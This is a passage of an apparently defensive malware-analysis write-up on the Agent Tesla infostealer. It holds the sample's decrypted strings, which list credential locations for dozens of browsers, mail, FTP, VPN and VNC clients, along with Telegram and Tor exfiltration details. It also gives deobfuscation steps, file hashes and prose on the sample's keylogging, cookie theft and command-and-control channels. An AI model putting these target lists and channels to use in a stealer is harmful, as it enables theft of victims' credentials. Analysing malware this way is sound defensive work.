color="#00ba66">{DEL}</font><font color="#00ba66">{END}</font><font color="#00ba66">{HOME}</font><font color="#00ba66">{Insert}</font><font color="#00ba66">{NumLock}</font><font color="#00ba66">{PageDown}</font><font color="#00ba66">{PageUp}</font><font color="#00ba66">{ENTER}</font><font color="#00ba66">{F1}</font><font color="#00ba66">{F2}</font><font color="#00ba66">{F3}</font><font color="#00ba66">{F4}</font><font color="#00ba66">{F5}</font><font color="#00ba66">{F6}</font><font color="#00ba66">{F7}</font><font color="#00ba66">{F8}</font><font color="#00ba66">{F9}</font><font color="#00ba66">{F10}</font><font color="#00ba66">{F11}</font><font color="#00ba66">{F12}</font>control<font color="#00ba66">{CTRL}</font>Windows RDPcredentialpolicyblobrdgchrome}CopyToComputeHashsha512CopySystemDrive\\WScript.ShellRegReadg401\r\n\r\n502 \r\n\r\n500 Addchat_idcaption/sendDocumentdocument---------------------------x\r\n--\r\nmultipart/form-data; boundary=Content-Disposition: form-data; name="{0}"\r\n\r\n{1}Content-Disposition: form-data; name="{0}"; filename="{1}"\r\nContent-Type: {2}\r\n\r\n--\r\nCookiesOperaChrome\\Google\\Chrome\\User Data\\360Chrome\\Chrome\\User DataYandexSRWare IronBrave Browser\\Iridium\\User DataCoolNovoEpic Privacy BrowserCocCocQQ BrowserTencent\\QQBrowser\\User DataUC BrowserUCBrowser\\uCozMediacookies.sqliteFirefox\\Mozilla\\Firefox\\IceCat\\Mozilla\\icecat\\PaleMoon\\Moonchild Productions\\Pale Moon\\SeaMonkey\\Mozilla\\SeaMonkey\\Flock\\Flock\\Browser\\K-Meleon\\K-Meleon\\Postbox\\Postbox\\Thunderbird\\Thunderbird\\IceDragon\\Comodo\\IceDragon\\WaterFox\\Waterfox\\BlackHawk\\NETGATE Technologies\\BlackHawk\\CyberFox\\8pecxstudios\\Cyberfox\\Path=([A-z0-9\\/\\.\\-]+)profiles.ini\\Default\\Profileorigin_urlusername_valuepassword_valuev10v11Opera Stable\\Local State"encrypted_key":"(.*?)"\\Default\\Login Data\\Login Data\\Google\\Chrome\\User Data\\loginsMajorMinor2F1A6504-0641-44CF-8BB5-3612D865F2E5Windows Secure Note3CCD5499-87A8-4B10-A215-608888DD3B55Windows Web Password Credential154E23D0-C644-4E6F-8CE6-5069272F999FWindows Credential Picker Protector4BF4C442-9B8A-41A0-B380-DD4A704DDB28Web Credentials77BC582B-F0A6-4E15-4E80-61736B6F3B29Windows CredentialsE69D7838-91B5-4FC9-89D5-230D4D4CC2BCWindows Domain Certificate Credential3E0E35BE-1B77-43E7-B873-AED901B6275BWindows Domain Password Credential3C886FF3-2669-4AA2-A8FB-3F6759A77548Windows Extended Credential00000000-0000-0000-0000-000000000000SchemaIdpResourceElementpIdentityElementpPackageSidpAuthenticatorElementIE/EdgeTypeValue\\Common Files\\Apple\\Apple Application Support\\plutil.exe\\Apple Computer\\Preferences\\keychain.plist*Login Datajournalwow_logins\\Microsoft\\Edge\\User DataEdge Chromium\\Microsoft\\Credentials\\\\Microsoft\\Protect\\GuidMasterKey\\Default\\EncryptedStorage\\EncryptedStorageentriescategoryPasswordstr3str2blob0PopPasswordSmtpPasswordSoftware\\IncrediMail\\Identities\\\\Accounts_NewEmailAddressSmtpServerincredimailHKEY_CURRENT_USER\\Software\\Qualcomm\\Eudora\\CommandLinecurrentSettingsSavePasswordTextReturnAddressEudora\\falkon\\profiles\\startProfile="([A-z0-9\\/\\.]+)"\\browsedata.dbautofillFalkon BrowserstartProfile=([A-z0-9\\/\\.]+)Backend=([A-z0-9\\/\\.-]+)\\settings.ini\\Claws-mail\\clawsrcpasskey0master_passphrase_salt=(.+)master_passphrase_pbkdf2_rounds=(.+)use_master_passphrase=(.+)\\accountrcsmtp_serveraddressaccount\\passwordstorerc{(.*),(.*)}(.*)ClawsMailTransformFinalBlockSubstringIterationCountsignons3.txt---\r\n.\r\nobjectsDataDecryptTripleDesFlock BrowserALLUSERSPROFILE\\\\DynDNS\\Updater\\config.dyndnsusername==password=&Ht6KzXhChhttp://DynDns.comDynDNS\\Psi\\profiles\\Psi+\\profiles\\accounts.xmlnamejidpasswordPsi/Psi+Software\\OpenVPN-GUI\\configsSoftware\\OpenVPN-GUI\\configs\\usernameauth-dataentropyOpen VPNUSERPROFILE\\OpenVPN\\config\\remote \\FileZilla\\recentservers.xml<Server><Host></Host>:<Port></Port><User></User><Pass encoding="base64"></Pass><Pass>FileZillaSOFTWARE\\\\Martin Prikryl\\\\WinSCP 2\\\\SessionsHostNameUserNamePublicKeyFilePortNumber22[PRIVATE KEY LOCATION: "{0}"]WinSCPUsernameAll Users\\FlashFXP\\3quick.datIP=port=user=pass=created=FlashFXP\\FTP Navigator\\Ftplist.txtServerNo PasswordFTP NavigatorProgramfiles(x86)programfiles\\jDownloader\\config\\database.scriptprogramfiles(x86)INSERT INTO CONFIG VALUES(\'AccountController\',\'sq.txtJDownloaderSoftware\\PaltalkHKEY_CURRENT_USER\\Software\\Paltalk\\pwdPaltalk\\.purple\\accounts.xml<account><protocol></protocol><name></name><password></password>Pidgin\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\\\SmartFTP\\Client 2.0\\Favorites\\Quick Connect\\*.xml<Password></Password><Name></Name>SmartFTPappdata\\Ipswitch\\WS_FTP\\Sites\\ws_ftp.iniHOSTUIDPWDWS_FTPPWD=KeyModeIVPaddingCreateDecryptor\\cftp\\Ftplist.txt;Server=;Port=;Password=;User=;Anonymous=Name=FTPCommander\\FTPGetter\\servers.xml<server><server_ip></server_ip><server_port></server_port><server_user_name></server_user_name><server_user_password></server_user_password>FTPGetterHKEY_LOCAL_MACHINE\\SOFTWARE\\Vitalwerks\\DUCHKEY_CURRENT_USER\\SOFTWARE\\Vitalwerks\\DUCUSERnameNO-IP+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\The Bat!\\Account.CFNzzz\x00\x00\x00TheBatHKEY_CURRENT_USER\\Software\\RimArts\\B2\\SettingsDataDirFolder.lst\\Mailbox.iniAccountSMTPServerMailAddressPassWdBecky!\\Trillian\\users\\global\\accounts.datAccountsTrillianSoftware\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676Software\\Microsoft\\Windows Messaging Subsystem\\Profiles\\9375CFF0413111d3B88A00104B2A6676Software\\Microsoft\\Office\\16.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676EmailIMAP PasswordPOP3 PasswordHTTP PasswordSMTP PasswordSMTP ServerOutlookHKEY_CURRENT_USER\\Software\\Aerofox\\FoxmailPreviewExecutableHKEY_CURRENT_USER\\Software\\Aerofox\\Foxmail\\V3.1FoxmailPath\\Storage\\\\mail\\\\VirtualStore\\Program Files\\Foxmail\\mail\\\\VirtualStore\\Program Files (x86)\\Foxmail\\mail\\\\Accounts\\Account.rec0\\Account.stgReadDisposePOP3HostSMTPHostIncomingServerPOP3PasswordFoxmail5A71\\Opera Mail\\Opera Mail\\wand.datopera:Opera Mailabc\xc3\xa7defg\xc4\x9fh\xc4\xb1ijklmno\xc3\xb6pqrs\xc5\x9ftu\xc3\xbcvwxyz1234567890_-.~!@#$%^&*()[{]}\\|\';:,<>/?+=\r\n \\Pocomail\\accounts.iniPOPPassSMTPPassSMTPPocoMailRealVNC 4.xSOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4RealVNC 3.xSOFTWARE\\RealVNC\\vncserverSOFTWARE\\RealVNC\\WinVNC4Software\\ORL\\WinVNC3TightVNCSoftware\\TightVNC\\ServerPasswordViewOnlyTightVNCControlPasswordControlPasswordTigerVNCSoftware\\TigerVNC\\ServerTrimUltraVNCProgramFiles(x86)\\uvnc bvba\\UltraVNC\\ultravnc.inipasswdpasswd2ProgramFiles\\UltraVNC\\ultravnc.ini\r\n\\eM Client.dlleM Client\\accounts.dateM ClientAccountConfiguration72905C47-F4FD-4CF7-A489-4E8121A155BDhosto6806642kbM7c5\\Mailbird\\Store\\Store.dbServer_HostEncryptedPasswordMailbirdSenderIdentitiesNordVPNNordVPN directory not found!NordVpn.exe*user.configSelectSingleNode//setting[@name=\'Username\']/valueInnerText//setting[@name=\'Password\']/value\\MySQL\\Workbench\\workbench_user_data.dat\x02\x03MySQL Workbench%ProgramW6432%Private Internet Access\\data\\Private Internet Access\\data\\account.json.*"username":"(.*?)".*"password":"(.*?)"Private Internet Access<array><dict><string></string><data></data>Safari Browser -convert xml1 -s -o "\\fixed_keychain.xml" A10B11C12D13E14F15ABCDEF(EndsWith)IndexOfUNIQUEtableSoftware\\DownloadManager\\Passwords\\EncPasswordInternet Download Manager{0}http://127.0.0.1:HTTP/1.1 Hostname200 Connection established\r\nProxy-Agent: HToS5x\r\n\r\nConnectPathAndQueryFragment\r\nHost: WrWExtractFilenTorAUTHENTICATE "%torpass%"SIGNAL NEWNYM250torStartInfoFileName\\Tor\\tor.exeArgumentsUseShellExecuteRedirectStandardOutputCreateNoWindowStartStandardOutputReadLineContainsBootstrapped 100%EndOfStreamIdAvoidDiskWrites 1\r\nLog notice stdout\r\nDormantCanceledByStartup 1\r\nControlPort 9051\r\nCookieAuthentication 1\r\nrunasdaemon 1\r\nExtORPort auto\r\nhashedcontrolpassword %hash%\r\nDataDirectory %tordir%\\Data\\Tor\r\nGeoIPFile %tordir%\\Data\\Tor\\geoip\r\nGeoIPv6File %tordir%\\Data\\Tor\\geoip6\r\n\\tor.ziphttps://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.zip%tordir%%hash%%torpass%https://www.theonionrouter.com/dist.torproject.org/torbrowser/<a.+?href\\s*=\\s*(["\'])(?<href>.+?)\\1[^>]*>hrefReplaceTrimStartTrimEndtor-win32-TransformBlockHash16:Nonewin32_processorprocessorID50ccfa85-6054-4c75-afc9-161465fa4a4aWin32_NetworkAdapterConfigurationIPEnabledMacAddress1d4f9600-62a2-473c-a467-0768f1534ad4WinMgmts:InstancesOfWin32_BaseBoardSerialNumber9981edbe-412a-4c24-a69e-ecdc055b7652x200061561Berkelet DB00000002 1.85 (Hash, version 2, native byte-order)Unknow database formatSEQUENCEtINTEGER \tOCTETSTRING \tOBJECTIDENTIFIER }sha256key4.dbmetaDataiditem1item2nssPrivatea11a1022a864886f70d02092a864886f70d010c050103key3.dbglobal-saltVersionpassword-checklogins.json\\"(hostname|encryptedPassword|encryptedUsername)":"(.*?)"[^\\u0020-\\u007F]signons.sqlitemoz_loginshostnameencryptedUsernameencryptedPasswordVersion=4.0.0.0version=2.0.0.0mscorlibSystemMailClient.Protocols.Smtp.SmtpAccountConfigurationMailClient.Accounts.TlsTypeMailClient.Accounts.CredentialsModelTypesMailClient.Accounts.Mail.MailAccountConfigurationMailClient.Accounts.ArchivingScopeMailClient.Mail.MailAddress;infoAccountConfiguration+accountNameAccountConfiguration+usernameAccountConfiguration+passwordproviderName

Deobfuscation

I deobfuscate malware by using the de4dot tool to deobfuscate strings and we can take the first token for the first function and the last token for the last function

Figure(5): First Token and Last Token.

We use a python script to print all tokens to use them into command, this command will help us to deobfuscate the malware.

tokens = ""
for i in range(0x0600022E,0x06000543):
    tokens += " --strtok "+ (hex(i))
tokens2 = tokens.replace("0x", "")
print(tokens2)

After that, we can use this command to run it and we can get to the last stage.

de4dot.exe last_payload --strtype delegate --strtok 600022e --strtok 600022f --strtok 6000230 --strtok 6000231 --strtok 6000232 --strtok 6000233 --strtok 6000234 --strtok 6000235 --strtok 6000236 --strtok 6000237 --strtok 6000238 --strtok 6000239 --strtok 600023a --strtok 600023b --strtok 600023c --strtok 600023d --strtok 600023e --strtok 600023f --strtok 6000240 --strtok 6000241 --strtok 6000242 --strtok 6000243 --strtok 6000244 --strtok 6000245 --strtok 6000246 --strtok 6000247 --strtok 6000248 --strtok 6000249 --strtok 600024a --strtok 600024b --strtok 600024c --strtok 600024d --strtok 600024e --strtok 600024f --strtok 6000250 --strtok 6000251 --strtok 6000252 --strtok 6000253 --strtok 6000254 --strtok 6000255 --strtok 6000256 --strtok 6000257 --strtok 6000258 --strtok 6000259 --strtok 600025a --strtok 600025b --strtok 600025c --strtok 600025d --strtok 600025e --strtok 600025f --strtok 6000260 --strtok 6000261 --strtok 6000262 --strtok 6000263 --strtok 6000264 --strtok 6000265 --strtok 6000266 --strtok 6000267 --strtok 6000268 --strtok 6000269 --strtok 600026a --strtok 600026b --strtok 600026c --strtok 600026d --strtok 600026e --strtok 600026f --strtok 6000270 --strtok 6000271 --strtok 6000272 --strtok 6000273 --strtok 6000274 --strtok 6000275 --strtok 6000276 --strtok 6000277 --strtok 6000278 --strtok 6000279 --strtok 600027a --strtok 600027b --strtok 600027c --strtok 600027d --strtok 600027e --strtok 600027f --strtok 6000280 --strtok 6000281 --strtok 6000282 --strtok 6000283 --strtok 6000284 --strtok 6000285 --strtok 6000286 --strtok 6000287 --strtok 6000288 --strtok 6000289 --strtok 600028a --strtok 600028b --strtok 600028c --strtok 600028d --strtok 600028e --strtok 600028f --strtok 6000290 --strtok 6000291 --strtok 6000292 --strtok 6000293 --strtok 6000294 --strtok 6000295 --strtok 6000296 --strtok 6000297 --strtok 6000298 --strtok 6000299 --strtok 600029a --strtok 600029b --strtok 600029c --strtok 600029d --strtok 600029e --strtok 600029f --strtok 60002a0 --strtok 60002a1 --strtok 60002a2 --strtok 60002a3 --strtok 60002a4 --strtok 60002a5 --strtok 60002a6 --strtok 60002a7 --strtok 60002a8 --strtok 60002a9 --strtok 60002aa --strtok 60002ab --strtok 60002ac --strtok 60002ad --strtok 60002ae --strtok 60002af --strtok 60002b0 --strtok 60002b1 --strtok 60002b2 --strtok 60002b3 --strtok 60002b4 --strtok 60002b5 --strtok 60002b6 --strtok 60002b7 --strtok 60002b8 --strtok 60002b9 --strtok 60002ba --strtok 60002bb --strtok 60002bc --strtok 60002bd --strtok 60002be --strtok 60002bf --strtok 60002c0 --strtok 60002c1 --strtok 60002c2 --strtok 60002c3 --strtok 60002c4 --strtok 60002c5 --strtok 60002c6 --strtok 60002c7 --strtok 60002c8 --strtok 60002c9 --strtok 60002ca --strtok 60002cb --strtok 60002cc --strtok 60002cd --strtok 60002ce --strtok 60002cf --strtok 60002d0 --strtok 60002d1 --strtok 60002d2 --strtok 60002d3 --strtok 60002d4 --strtok 60002d5 --strtok 60002d6 --strtok 60002d7 --strtok 60002d8 --strtok 60002d9 --strtok 60002da --strtok 60002db --strtok 60002dc --strtok 60002dd --strtok 60002de --strtok 60002df --strtok 60002e0 --strtok 60002e1 --strtok 60002e2 --strtok 60002e3 --strtok 60002e4 --strtok 60002e5 --strtok 60002e6 --strtok 60002e7 --strtok 60002e8 --strtok 60002e9 --strtok 60002ea --strtok 60002eb --strtok 60002ec --strtok 60002ed --strtok 60002ee --strtok 60002ef --strtok 60002f0 --strtok 60002f1 --strtok 60002f2 --strtok 60002f3 --strtok 60002f4 --strtok 60002f5 --strtok 60002f6 --strtok 60002f7 --strtok 60002f8 --strtok 60002f9 --strtok 60002fa --strtok 60002fb --strtok 60002fc --strtok 60002fd --strtok 60002fe --strtok 60002ff --strtok 6000300 --strtok 6000301 --strtok 6000302 --strtok 6000303 --strtok 6000304 --strtok 6000305 --strtok 6000306 --strtok 6000307 --strtok 6000308 --strtok 6000309 --strtok 600030a --strtok 600030b --strtok 600030c --strtok 600030d --strtok 600030e --strtok 600030f --strtok 6000310 --strtok 6000311 --strtok 6000312 --strtok 6000313 --strtok 6000314 --strtok 6000315 --strtok 6000316 --strtok 6000317 --strtok 6000318 --strtok 6000319 --strtok 600031a --strtok 600031b --strtok 600031c --strtok 600031d --strtok 600031e --strtok 600031f --strtok 6000320 --strtok 6000321 --strtok 6000322 --strtok 6000323 --strtok 6000324 --strtok 6000325 --strtok 6000326 --strtok 6000327 --strtok 6000328 --strtok 6000329 --strtok 600032a --strtok 600032b --strtok 600032c --strtok 600032d --strtok 600032e --strtok 600032f --strtok 6000330 --strtok 6000331 --strtok 6000332 --strtok 6000333 --strtok 6000334 --strtok 6000335 --strtok 6000336 --strtok 6000337 --strtok 6000338 --strtok 6000339 --strtok 600033a --strtok 600033b --strtok 600033c --strtok 600033d --strtok 600033e --strtok 600033f --strtok 6000340 --strtok 6000341 --strtok 6000342 --strtok 6000343 --strtok 6000344 --strtok 6000345 --strtok 6000346 --strtok 6000347 --strtok 6000348 --strtok 6000349 --strtok 600034a --strtok 600034b --strtok 600034c --strtok 600034d --strtok 600034e --strtok 600034f --strtok 6000350 --strtok 6000351 --strtok 6000352 --strtok 6000353 --strtok 6000354 --strtok 6000355 --strtok 6000356 --strtok 6000357 --strtok 6000358 --strtok 6000359 --strtok 600035a --strtok 600035b --strtok 600035c --strtok 600035d --strtok 600035e --strtok 600035f --strtok 6000360 --strtok 6000361 --strtok 6000362 --strtok 6000363 --strtok 6000364 --strtok 6000365 --strtok 6000366 --strtok 6000367 --strtok 6000368 --strtok 6000369 --strtok 600036a --strtok 600036b --strtok 600036c --strtok 600036d --strtok 600036e --strtok 600036f --strtok 6000370 --strtok 6000371 --strtok 6000372 --strtok 6000373 --strtok 6000374 --strtok 6000375 --strtok 6000376 --strtok 6000377 --strtok 6000378 --strtok 6000379 --strtok 600037a --strtok 600037b --strtok 600037c --strtok 600037d --strtok 600037e --strtok 600037f --strtok 6000380 --strtok 6000381 --strtok 6000382 --strtok 6000383 --strtok 6000384 --strtok 6000385 --strtok 6000386 --strtok 6000387 --strtok 6000388 --strtok 6000389 --strtok 600038a --strtok 600038b --strtok 600038c --strtok 600038d --strtok 600038e --strtok 600038f --strtok 6000390 --strtok 6000391 --strtok 6000392 --strtok 6000393 --strtok 6000394 --strtok 6000395 --strtok 6000396 --strtok 6000397 --strtok 6000398 --strtok 6000399 --strtok 600039a --strtok 600039b --strtok 600039c --strtok 600039d --strtok 600039e --strtok 600039f --strtok 60003a0 --strtok 60003a1 --strtok 60003a2 --strtok 60003a3 --strtok 60003a4 --strtok 60003a5 --strtok 60003a6 --strtok 60003a7 --strtok 60003a8 --strtok 60003a9 --strtok 60003aa --strtok 60003ab --strtok 60003ac --strtok 60003ad --strtok 60003ae --strtok 60003af --strtok 60003b0 --strtok 60003b1 --strtok 60003b2 --strtok 60003b3 --strtok 60003b4 --strtok 60003b5 --strtok 60003b6 --strtok 60003b7 --strtok 60003b8 --strtok 60003b9 --strtok 60003ba --strtok 60003bb --strtok 60003bc --strtok 60003bd --strtok 60003be --strtok 60003bf --strtok 60003c0 --strtok 60003c1 --strtok 60003c2 --strtok 60003c3 --strtok 60003c4 --strtok 60003c5 --strtok 60003c6 --strtok 60003c7 --strtok 60003c8 --strtok 60003c9 --strtok 60003ca --strtok 60003cb --strtok 60003cc --strtok 60003cd --strtok 60003ce --strtok 60003cf --strtok 60003d0 --strtok 60003d1 --strtok 60003d2 --strtok 60003d3 --strtok 60003d4 --strtok 60003d5 --strtok 60003d6 --strtok 60003d7 --strtok 60003d8 --strtok 60003d9 --strtok 60003da --strtok 60003db --strtok 60003dc --strtok 60003dd --strtok 60003de --strtok 60003df --strtok 60003e0 --strtok 60003e1 --strtok 60003e2 --strtok 60003e3 --strtok 60003e4 --strtok 60003e5 --strtok 60003e6 --strtok 60003e7 --strtok 60003e8 --strtok 60003e9 --strtok 60003ea --strtok 60003eb --strtok 60003ec --strtok 60003ed --strtok 60003ee --strtok 60003ef --strtok 60003f0 --strtok 60003f1 --strtok 60003f2 --strtok 60003f3 --strtok 60003f4 --strtok 60003f5 --strtok 60003f6 --strtok 60003f7 --strtok 60003f8 --strtok 60003f9 --strtok 60003fa --strtok 60003fb --strtok 60003fc --strtok 60003fd --strtok 60003fe --strtok 60003ff --strtok 6000400 --strtok 6000401 --strtok 6000402 --strtok 6000403 --strtok 6000404 --strtok 6000405 --strtok 6000406 --strtok 6000407 --strtok 6000408 --strtok 6000409 --strtok 600040a --strtok 600040b --strtok 600040c --strtok 600040d --strtok 600040e --strtok 600040f --strtok 6000410 --strtok 6000411 --strtok 6000412 --strtok 6000413 --strtok 6000414 --strtok 6000415 --strtok 6000416 --strtok 6000417 --strtok 6000418 --strtok 6000419 --strtok 600041a --strtok 600041b --strtok 600041c --strtok 600041d --strtok 600041e --strtok 600041f --strtok 6000420 --strtok 6000421 --strtok 6000422 --strtok 6000423 --strtok 6000424 --strtok 6000425 --strtok 6000426 --strtok 6000427 --strtok 6000428 --strtok 6000429 --strtok 600042a --strtok 600042b --strtok 600042c --strtok 600042d --strtok 600042e --strtok 600042f --strtok 6000430 --strtok 6000431 --strtok 6000432 --strtok 6000433 --strtok 6000434 --strtok 6000435 --strtok 6000436 --strtok 6000437 --strtok 6000438 --strtok 6000439 --strtok 600043a --strtok 600043b --strtok 600043c --strtok 600043d --strtok 600043e --strtok 600043f --strtok 6000440 --strtok 6000441 --strtok 6000442 --strtok 6000443 --strtok 6000444 --strtok 6000445 --strtok 6000446 --strtok 6000447 --strtok 6000448 --strtok 6000449 --strtok 600044a --strtok 600044b --strtok 600044c --strtok 600044d --strtok 600044e --strtok 600044f --strtok 6000450 --strtok 6000451 --strtok 6000452 --strtok 6000453 --strtok 6000454 --strtok 6000455 --strtok 6000456 --strtok 6000457 --strtok 6000458 --strtok 6000459 --strtok 600045a --strtok 600045b --strtok 600045c --strtok 600045d --strtok 600045e --strtok 600045f --strtok 6000460 --strtok 6000461 --strtok 6000462 --strtok 6000463 --strtok 6000464 --strtok 6000465 --strtok 6000466 --strtok 6000467 --strtok 6000468 --strtok 6000469 --strtok 600046a --strtok 600046b --strtok 600046c --strtok 600046d --strtok 600046e --strtok 600046f --strtok 6000470 --strtok 6000471 --strtok 6000472 --strtok 6000473 --strtok 6000474 --strtok 6000475 --strtok 6000476 --strtok 6000477 --strtok 6000478 --strtok 6000479 --strtok 600047a --strtok 600047b --strtok 600047c --strtok 600047d --strtok 600047e --strtok 600047f --strtok 6000480 --strtok 6000481 --strtok 6000482 --strtok 6000483 --strtok 6000484 --strtok 6000485 --strtok 6000486 --strtok 6000487 --strtok 6000488 --strtok 6000489 --strtok 600048a --strtok 600048b --strtok 600048c --strtok 600048d --strtok 600048e --strtok 600048f --strtok 6000490 --strtok 6000491 --strtok 6000492 --strtok 6000493 --strtok 6000494 --strtok 6000495 --strtok 6000496 --strtok 6000497 --strtok 6000498 --strtok 6000499 --strtok 600049a --strtok 600049b --strtok 600049c --strtok 600049d --strtok 600049e --strtok 600049f --strtok 60004a0 --strtok 60004a1 --strtok 60004a2 --strtok 60004a3 --strtok 60004a4 --strtok 60004a5 --strtok 60004a6 --strtok 60004a7 --strtok 60004a8 --strtok 60004a9 --strtok 60004aa --strtok 60004ab --strtok 60004ac --strtok 60004ad --strtok 60004ae --strtok 60004af --strtok 60004b0 --strtok 60004b1 --strtok 60004b2 --strtok 60004b3 --strtok 60004b4 --strtok 60004b5 --strtok 60004b6 --strtok 60004b7 --strtok 60004b8 --strtok 60004b9 --strtok 60004ba --strtok 60004bb --strtok 60004bc --strtok 60004bd --strtok 60004be --strtok 60004bf --strtok 60004c0 --strtok 60004c1 --strtok 60004c2 --strtok 60004c3 --strtok 60004c4 --strtok 60004c5 --strtok 60004c6 --strtok 60004c7 --strtok 60004c8 --strtok 60004c9 --strtok 60004ca --strtok 60004cb --strtok 60004cc --strtok 60004cd --strtok 60004ce --strtok 60004cf --strtok 60004d0 --strtok 60004d1 --strtok 60004d2 --strtok 60004d3 --strtok 60004d4 --strtok 60004d5 --strtok 60004d6 --strtok 60004d7 --strtok 60004d8 --strtok 60004d9 --strtok 60004da --strtok 60004db --strtok 60004dc --strtok 60004dd --strtok 60004de --strtok 60004df --strtok 60004e0 --strtok 60004e1 --strtok 60004e2 --strtok 60004e3 --strtok 60004e4 --strtok 60004e5 --strtok 60004e6 --strtok 60004e7 --strtok 60004e8 --strtok 60004e9 --strtok 60004ea --strtok 60004eb --strtok 60004ec --strtok 60004ed --strtok 60004ee --strtok 60004ef --strtok 60004f0 --strtok 60004f1 --strtok 60004f2 --strtok 60004f3 --strtok 60004f4 --strtok 60004f5 --strtok 60004f6 --strtok 60004f7 --strtok 60004f8 --strtok 60004f9 --strtok 60004fa --strtok 60004fb --strtok 60004fc --strtok 60004fd --strtok 60004fe --strtok 60004ff --strtok 6000500 --strtok 6000501 --strtok 6000502 --strtok 6000503 --strtok 6000504 --strtok 6000505 --strtok 6000506 --strtok 6000507 --strtok 6000508 --strtok 6000509 --strtok 600050a --strtok 600050b --strtok 600050c --strtok 600050d --strtok 600050e --strtok 600050f --strtok 6000510 --strtok 6000511 --strtok 6000512 --strtok 6000513 --strtok 6000514 --strtok 6000515 --strtok 6000516 --strtok 6000517 --strtok 6000518 --strtok 6000519 --strtok 600051a --strtok 600051b --strtok 600051c --strtok 600051d --strtok 600051e --strtok 600051f --strtok 6000520 --strtok 6000521 --strtok 6000522 --strtok 6000523 --strtok 6000524 --strtok 6000525 --strtok 6000526 --strtok 6000527 --strtok 6000528 --strtok 6000529 --strtok 600052a --strtok 600052b --strtok 600052c --strtok 600052d --strtok 600052e --strtok 600052f --strtok 6000530 --strtok 6000531 --strtok 6000532 --strtok 6000533 --strtok 6000534 --strtok 6000535 --strtok 6000536 --strtok 6000537 --strtok 6000538 --strtok 6000539 --strtok 600053a --strtok 600053b --strtok 600053c --strtok 600053d --strtok 600053e --strtok 600053f --strtok 6000540 --strtok 6000541 --strtok 6000542 

Final Stage

Artifacts

No.	Description	info
1	MD5 Hash	fbc921fbb1639073c30bbb19e68248fc
2	SHA1 Hash	56e6b58a1d42459be3d0f46fe932c1ca12564d21
3	File Size	183 KB
4	VirusTotal Detection	No Match

Determine the functionality of malware

Agent tesla starts to use some of the global Variables to determine the behaviour and functionality of malware and the values for these variables can see them in the Configuration of malware and we can see that in the next figure

Figure(6): Set Global Variables.

persistence

Agent tesla malware can achieve persistence by creating itself with the following registry keys and we can see the results in the next figure

Figure(7): Persistence.

Browser Stealing Activities

Malware will search for web browsers and we can see that malware has a large list of internet browser that malware tries to find anything of them on the victim’s machine and if malware finds any browsers and successes to locate any browser, malware will go to steal stored credentials and send them attacker and we can see that in the next figure..

Figure(8): Search For Web Browsers.

List Of Browsers

Browsers
CocCoc
Pale Moon
Firefox
Web-browser
Flock
Lieabao
Iridium
ChromePlus
Chromium
Orbitum
Coowon
360Chrome
Sputnik
Amigo
Opera
7Star
Torch
Yandex
Sleipnir5
Vivaldi
Uran
Centbrowser
Chedot
Brave-browser
Elements
Web browser
BlackHawk
SeaMonkey
CyberFox
QQBrowser
IceCat
Waterfox
Web-bowser
K-Meleon
Chrome
IceDragon
Falkon
UCBrowser
Edge
Citrio
Epic privacy browser
Kometa
Safari
QIP Surf
Email Stealing Activities

Malware will search on Victim’s machine for different email clients and if malware finds them, will steal credentials and send them to the attacker and we can see that in the next figure.

Figure(9): Search For Emails.

FTP Utility Stealing Activities

Malware searches about FTP utilities to steal login credentials and if malware finds any FTP utilities, it attempts to get all information and can also target other information to a specific application, we can see the results in the figure.

Figure(10): Search For FTP Utilities.

VPN Stealing Activities

Malware can search about VPN on Victim’s machine, if malware finds any VPN, it will steal VPN credentials and by using these credentials, malware can download tools and remote server applications and we can see that in the next figure.

Figure(11): Search For VPN Activities.

Windows credentials

Malware can search about Windows Credentials on Victim’s machine, if malware finds any windows credentials, it will send them to the attacker and we can see that in the next figure

Figure(12): Search For Windows Credentials Activities.

VNC programs credentials

Malware can search about VNC on Victim’s machine, if malware find any VNC, it will steal VNC credentials and we can see that in the next figure

Figure(13): Search For VNC Activities.

Exfiltration

Malware can search about VNC on Victim’s machine, if malware find any VNC, it will steal VNC credentials, we can see that in the figure

Figure(14): Exfiltration.

Communications

Malware can communicate with attackers over HTTP, FTP and SMTP and malware also can use Telegram to communicate with the attacker and we can see more information in the next lines

HTTP

Sending compromised data to C@C and we can see the results in the next figure

Figure(15): HTTP Communication.

FTP

Malware can upload data to send it to the attacker and we can see the results in the next figure

Figure(16): FTP Communication.

SMTP

Malware Compromises email and after that utilizes it to exfiltrate information to a mail server that manages by the attacker and we can see that in the next figure

Figure(17): SMTP Communication.

Telegram Sends the exfiltrated data to a private Telegram chat room.

Downloading and running files

Downloading and running files from [hxxp://CsQCyR.com] and we can see that in the next figure

Figure(18): Downloading and running files.

Fingerprinting

The malware gathers information from the infected machine and we can see the following data that malware tries to collect.

Computer Name, User Name

the malware collects ComputerName and UserName and we can see that in the next figure.

Figure(19): Get ComputerName And UserName.

External IPs

Malware makes an HTTP request “hxxps://api.ipify.org” to get External IP and we can see that in the next figure.

Figure(20): Get External IPs.

Memory

Malware can collect information about Memory and we can see that in the next figure..

Figure(21): Collect Information For Memory.

Processor

Malware get information about the processor and we can see that in the next figure

Figure(22): Collect Information For Porecessor.

Uninstall

Malware can uninstall itself and we can see that in the next figure.

Figure(23): Malware Able to Uninstall itself.

cookies For Browsers

The malware attempts to get cookies from a list of browsers after collecting the cookies, it communicates with C@C and sends them to the attacker and we can see the results in the next figure

Figure(24): cookies For Browsers.

Cookies For SQLite

The malware collects Cookies for SQLite to send them to the attacker over C@C and we can see that in the next

Figure(25): Cookies For SQLite.

Cookies For FTP Application

The malware collects UserNames and PassWords for any FTP application and we can see that in the next figure

Figure(26): Cookies For FTP Application.

Search UserName, Password for Browser

Malware searches for UserName and Password and we can see that in the next figure

Figure(27): Collect UserNames, Passwords For Browsers.

Screenshots

Malware captures images from the infected machine and sends these images to c@c

Figure(28): Malware Takes Screenshots.

Keystrokes

Keystrokes are recorded and sent to the C2 server and we can see that in the next figure.

Figure(29): Keystrokes.

clipboard

